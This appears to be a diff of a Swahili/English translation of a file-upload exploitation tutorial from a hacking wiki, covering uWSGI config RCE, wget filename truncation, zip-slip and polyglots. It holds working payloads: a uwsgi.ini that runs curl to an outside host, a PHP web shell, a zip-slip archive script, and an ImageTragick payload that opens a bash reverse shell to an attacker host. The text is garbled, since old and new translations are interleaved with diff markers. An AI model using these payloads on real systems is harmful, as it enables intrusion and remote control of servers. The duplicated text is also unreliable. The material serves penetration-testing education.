Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Remote Command Execution (RCE) vulnerabilities zinaweza kutumika kwenye server za uWSGI kama mtu ana uwezo wa kubadilisha faili ya usanidi `.ini`. Faili za usanidi za uWSGI zinatumia syntax maalumu kuingiza "magic" variables, placeholders, na operators. Huduma ya '@' operator, inayotumika kama `@(filename)`, imetengenezwa kuingiza yaliyomo ya faili. Miongoni mwa schemes mbalimbali zinazotumika katika uWSGI, scheme ya "exec" ni yenye nguvu sana, ikiruhusu kusoma data kutoka kwa standard output ya process. Kipengele hiki kinaweza kutumika kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi `.ini` inapotubaliwa.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
Tazama mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha schemes mbalimbali:
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa payload unafanyika wakati wa kuchambua faili la usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya ajali au kutokana na shambulio la Denial of Service) au faili lazima iwekwe kwenye auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, kinarejesha faili kwa vipindi vilivyotajwa baada ya kugundua mabadiliko.
Utekelezaji wa payload hufanyika wakati faili ya usanidi inapoangaliwa (kuchambuliwa). Ili usanidi uanze kutumika na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (huenda baada ya crash au kutokana na Denial of Service attack) au faili lazima iwe imewekwa ku-auto-reload. Kipengele cha auto-reload, ikiwa kimewezeshwa, hurudisha faili kwa vipindi vilivyobainishwa pindi kinapogundua mabadiliko.
Ni muhimu kuelewa tabia ya kulegeza ya uchambuzi wa faili la usanidi la uWSGI. Kwa haswa, payload iliyozungumziwa inaweza kuingizwa kwenye faili la binary (kama picha au PDF), na hivyo kupanua wigo wa uwezekano wa unyakuzi.
Ni muhimu kuelewa jinsi uchambuzi wa faili ya usanidi wa uWSGI unavyokuwa mpole. Hasa, payload iliyojadiliwa inaweza kuingizwa ndani ya faili ya binary (kama picha au PDF), na hivyo kupanua zaidi wigo wa matumizi mabaya yanayoweza kutokea.
## **wget File Upload/SSRF Trick**
Katika baadhi ya matukio unaweza kupata kwamba seva inatumia **`wget`** ili **kupakua faili** na unaweza **kuashiria** **URL**. Katika matukio haya, msimbo unaweza kuwa unakagua kwamba kiambatisho cha faili zilizopakuliwa kiko ndani ya orodha ya ruhusa ili kuhakikisha kwamba faili tu zilizoruhusiwa zitapakuliwa. Hata hivyo, **ukaguzi huu unaweza kupuuziliwa mbali.**\
Urefu **wa juu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** inakata majina ya faili hadi **236** herufi. Unaweza **kupakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili litakuwa **bypass** **ukaguzi** (kama katika mfano huu **".gif"** ni kiambatisho **halali**) lakini `wget` itabadilisha jina la faili kuwa **"A"\*232+".php"**.
Katika baadhi ya matukio unaweza kugundua kuwa server inatumia **`wget`** kupakua **faili** na unaweza **onyesha** **URL**. Katika kesi hizi, code inaweza kuwa inakagua kwamba extension ya faili zilizopakuliwa iko ndani ya whitelist ili kuhakikisha kwamba ni faili tu zilizoidhinishwa zitakapopakuliwa. Hata hivyo, **this check can be bypassed.**\
Urefu wa **maximum** wa **filename** katika **linux** ni **255**, hata hivyo, **wget** hukata majina ya faili hadi **236** characters. Unaweza **pakua faili inayoitwa "A"\*232+".php"+".gif"**, jina hili la faili lita **bypass** the **check** (kama katika mfano huu **".gif"** ni extension **valid**) lakini `wget` itawabadilisha jina la faili kuwa **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,31 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **server ya HTTP irejelee faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali**.
Kumbuka kwamba **chaguo jingine** unaloweza kufikiria ili kupita ukaguzi huu ni kufanya **HTTP server i-rekibishe (redirect) hadi faili tofauti**, ili URL ya awali itapita ukaguzi lakini wget itapakua faili iliyorekebishwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itapakua ukurasa uliorekebishwa kwa jina la faili lililoainishwa kwenye URL ya asili**.
## Zana
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Wavuvi wa Makosa katika kupima mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kujaribu file upload mechanisms. Inatumia mbinu mbalimbali za bug bounty kurahisisha mchakato wa kutambua na exploiting vulnerabilities, ikihakikisha tathmini kamilifu za web applications.
## Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine
### Corrupting upload indices with snprintf quirks (historical)
- Weka **jina la faili** kuwa `../../../tmp/lol.png` na jaribu kufikia **path traversal**
- Weka **jina la faili** kuwa `sleep(10)-- -.jpg` na unaweza kufanikiwa kufikia **SQL injection**
- Weka **jina la faili** kuwa `<svg onload=alert(document.domain)>` ili kufikia XSS
- Weka **jina la faili** kuwa `; sleep 10;` ili kupima baadhi ya kuingilia amri (zaidi ya [mbinu za kuingilia amri hapa](../command-injection.md))
- [**XSS** katika picha (svg) ya kupakia faili](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** faili **kupakia** + **XSS** = [**Kudhulumu Wafanyakazi wa Huduma**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ikiwa unaweza **kuonyesha server ya wavuti kukamata picha kutoka URL** unaweza kujaribu kudhulumu [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**.
- [**XXE na CORS** kupita na PDF-Adobe kupakia](pdf-upload-xxe-and-cors-bypass.md)
- PDFs zilizoundwa kwa makusudi kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuata maelekezo yaliyotolewa.
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa server ina **antivirus**
- Angalia ikiwa kuna **kikomo cha saizi** katika kupakia faili
Baadhi ya legacy upload handlers zinazotumia `snprintf()` au zenye mitindo sawa kujenga multi-file arrays kutoka upload ya single-file zinaweza kudanganywa ili kutengeneza muundo wa `_FILES`. Kutokana na kutokuwepo kwa konsistensi na kukatwa (truncation) katika tabia ya `snprintf()`, upload moja iliyotengenezwa kwa uangalifu inaweza kuonekana kama faili nyingi zenye index upande wa server, ikachanganya mantiki inayodhani muundo thabiti (mfano, kuitendea kama multi-file upload na kuingia kwenye branches zisizo salama). Ingawa ni niche leo, mtindo huu wa “index corruption” mara kwa mara unaibukia tena katika CTFs na codebases za zamani.
Hapa kuna orodha ya juu 10 ya mambo unayoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
## Kutoka File upload hadi vulnerabilities nyingine
- Weka **filename** kuwa `../../../tmp/lol.png` na ujaribu kufanikisha **path traversal**
- Weka **filename** kuwa `sleep(10)-- -.jpg` na huenda ukaweza kufanikisha **SQL injection**
- Weka **filename** kuwa `<svg onload=alert(document.domain)>` ili kufanikisha XSS
- Weka **filename** kuwa `; sleep 10;` kujaribu baadhi ya command injection (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ikiwa unaweza **kuonyesha web server kuchukua picha kutoka kwa URL** unaweza kujaribu kuabusu [SSRF](../ssrf-server-side-request-forgery/index.html). Ikiwa **image** hii itahifadhiwa kwenye tovuti ya **public**, unaweza pia kutaja URL kutoka [https://iplogger.org/invisible/] na **kuiba taarifa za kila mtembeleaji**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Pakia \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia kama server ina **antivirus**
- Angalia kama kuna **size limit** wakati wa kupakia faili
Hapa kuna orodha ya top 10 ya mambo unayoweza kufanikisha kwa kupakia (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -190,11 +194,12 @@ Hapa kuna orodha ya juu 10 ya mambo unayoweza kufanikisha kwa kupakia (kutoka [h
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE kupitia LFI / DoS
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
@ -204,34 +209,34 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) kwa aina nyingine za faili.
Rejelea [https://en.wikipedia.org/wiki/List_of_file_signatures] kwa aina nyingine za faili.
## Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
## Zip/Tar File Automatically decompressed Upload
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya server, unaweza kufanya mambo 2:
Ikiwa unaweza kupakia ZIP ambayo itatolewa (decompressed) ndani ya server, unaweza kufanya vitu 2:
### Symlink
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, kwa kufikia faili zilizondolewa utapata faili zilizounganishwa:
Pakia archive yenye soft links kuelekea faili nyingine; kisha, ukifungua faili zilizotolewa utapata kufikia faili zilizounganishwa:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decompress in different folders
### Fungua (decompression) katika folda tofauti
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakiaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inaruhusu washambuliaji kupita vizuizi na kutoroka saraka salama za upakiaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Uundaji usiotarajiwa wa faili katika folda wakati wa kufungua (decompression) ni tatizo kubwa. Licha ya dhana za awali kwamba usanidi huu ungeweza kuzuia utekelezaji wa amri za ngazi ya OS kupitia upakiaji wa faili zenye madhumuni mabaya, msaada wa compression wa muundo wa kihieraki na uwezo wa directory traversal wa muundo wa ZIP yanaweza kutumika vibaya. Hii inawawezesha wadukuzi kupita vikwazo na kutoroka kutoka kwenye folda za upload zilizo salama kwa kuathiri utendaji wa kufungua (decompression) wa programu inayolengwa.
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa:
Exploit ya kiotomatiki ya kutengeneza faili kama haya inapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Zana inaweza kutumika kama ifuatavyo:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **mbinu ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haikutani na makosa wakati wa operesheni yake.
Vilevile, **symlink trick with evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa kwenye mfumo wako. Hii inahakikisha kwamba evilarc haitapata makosa wakati wa uendeshaji wake.
Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu:
Hapo chini kuna mfano wa Python code inayotumika kuunda zip file yenye madhara:
```python
#!/usr/bin/python
import zipfile
@ -249,11 +254,11 @@ zip.close()
create_zip()
```
**Kukandamiza compression kwa ajili ya file spraying**
**Abusing compression for file spraying**
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia variable `$_REQUEST`.
1. **Creating a PHP Shell**: Msimbo wa PHP umeandikwa kutekeleza amri zinazotumwa kupitia `$_REQUEST` variable.
```php
<?php
@ -263,14 +268,14 @@ system($cmd);
}?>
```
2. **File Spraying na Uundaji wa Faili Zilizoshinikizwa**: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.
2. **File Spraying and Compressed File Creation**: Faili nyingi zimetengenezwa na archive ya zip imeundwa ikijumuisha faili hizi.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Mabadiliko kwa kutumia Hex Editor au vi**: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye directories.
3. **Modification with a Hex Editor or vi**: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au hex editor, kubadilisha "xxA" kuwa "../" ili kupita kwenye directories.
```bash
:set modifiable
@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Pakia maudhui haya yenye kiambatisho cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
Pakia yaliyomo haya kwa extension ya picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (kutoka kwenye [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Kuunganisha PHP Shell kwenye PNG
## Kuingiza PHP Shell ndani ya PNG
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli upya picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Kuingiza PHP shell katika IDAT chunk ya faili ya PNG kunaweza kwa ufanisi kuzipita baadhi ya operesheni za usindikaji wa picha. Fungsheni `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD zina umuhimu maalum hapa, kwani mara nyingi hutumika kwa kubadilisha ukubwa na resampling ya picha, mtawalia. Uwezo wa PHP shell iliyowekwa kuendelea bila kuathiriwa na operesheni hizi ni faida muhimu kwa baadhi ya matumizi.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayowezekana, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
Uchambuzi wa kina wa mbinu hii, ukijumuisha metodolojia na matumizi yanayowezekana, umeelezewa katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa uelewa mpana wa mchakato na athari zake.
Taarifa zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Faili za Polyglot
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanawezekana.
Faili za polyglot ni chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleon zinazoweza kuwepo kwa uhalali katika miundo mingi ya faili kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybrid inayofanya kazi kama GIF na RAR archive. Faili hizi hazijafungwa kwa jozi hii pekee; mchanganyiko kama GIF na JS au PPT na JS pia yanawezekana.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Katika mazoea ya kawaida katika programu mbalimbali, inaruhusiwa tu aina fulani za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
Manufaa kuu ya faili za polyglot ni uwezo wao wa kuzunguka hatua za usalama ambazo huchuja faili kwa misingi ya aina. Kazi ya kawaida katika programu mbalimbali ni kuruhusu aina maalum za faili tu kwa upload—kama JPEG, GIF, au DOC—ili kupunguza hatari inayotokana na miundo inayoweza kuwa hatari (mfano, JS, PHP, au Phar files). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo vya aina nyingi za faili, inaweza kwa utulivu kupita kizuizi hicho.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
Licha ya ufanifu wao, polyglots hukutana na vizingiti. Kwa mfano, huku polyglot inaweza kuonyesha kwa wakati mmoja PHAR file (PHp ARchive) na JPEG, mafanikio ya upload yake yanaweza kutegemea sera za jukwaa kuhusu extension za faili. Ikiwa mfumo ni mkali kuhusu extensions zinazoruhusiwa, udual wa muundo wa polyglot peke yake huenda usitosheleze kuhakikisha upload yake.
Taarifa zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Pakia JSON halali kama PDF
### Kupakia JSON sahihi kana kwamba ni PDF
Jinsi ya kuepuka kugundua aina ya faili kwa kupakia faili halali ya JSON hata kama hairuhusiwi kwa kudanganya faili ya PDF (mbinu kutoka **[hiki kipande cha blogi](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Jinsi ya kuepuka utambuzi wa aina ya faili kwa kupakia faili ya JSON halali hata kama haikuruhusiwa kwa kudanganya kuwa PDF (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` maktaba**: Kadri tu `%PDF` magic bytes ziko katika bytes 1024 za kwanza ni halali (pata mfano kutoka kwenye chapisho)
- **`pdflib` maktaba**: Ongeza muundo wa PDF wa uongo ndani ya faili ya JSON ili maktaba ifikirie ni PDF (pata mfano kutoka kwenye chapisho)
- **`file` binary**: Inaweza kusoma hadi bytes 1048576 kutoka kwa faili. Unda tu JSON kubwa zaidi ya hiyo ili isiweze kuchambua maudhui kama JSON na kisha ndani ya JSON weka sehemu ya mwanzo ya PDF halisi na itafikiria ni PDF
- **`mmmagic` library**: Mradi tu biti za magic `%PDF` ziko katika 1024 za kwanza ni halali (angalia mfano kwenye chapisho)
- **`pdflib` library**: Ongeza fake PDF format ndani ya field ya JSON ili library ifikiri ni pdf (angalia mfano kwenye chapisho)
- **`file` binary**: Inaweza kusoma hadi 1048576 bytes kutoka kwa faili. Tengeneza JSON kubwa zaidi ya hiyo ili haiwezi kuchambua maudhui kama json kisha ndani ya JSON weka sehemu ya mwanzo ya PDF halisi na itafikiri ni PDF
## Marejeleo
## Marejeo
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +327,6 @@ Jinsi ya kuepuka kugundua aina ya faili kwa kupakia faili halali ya JSON hata ka
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}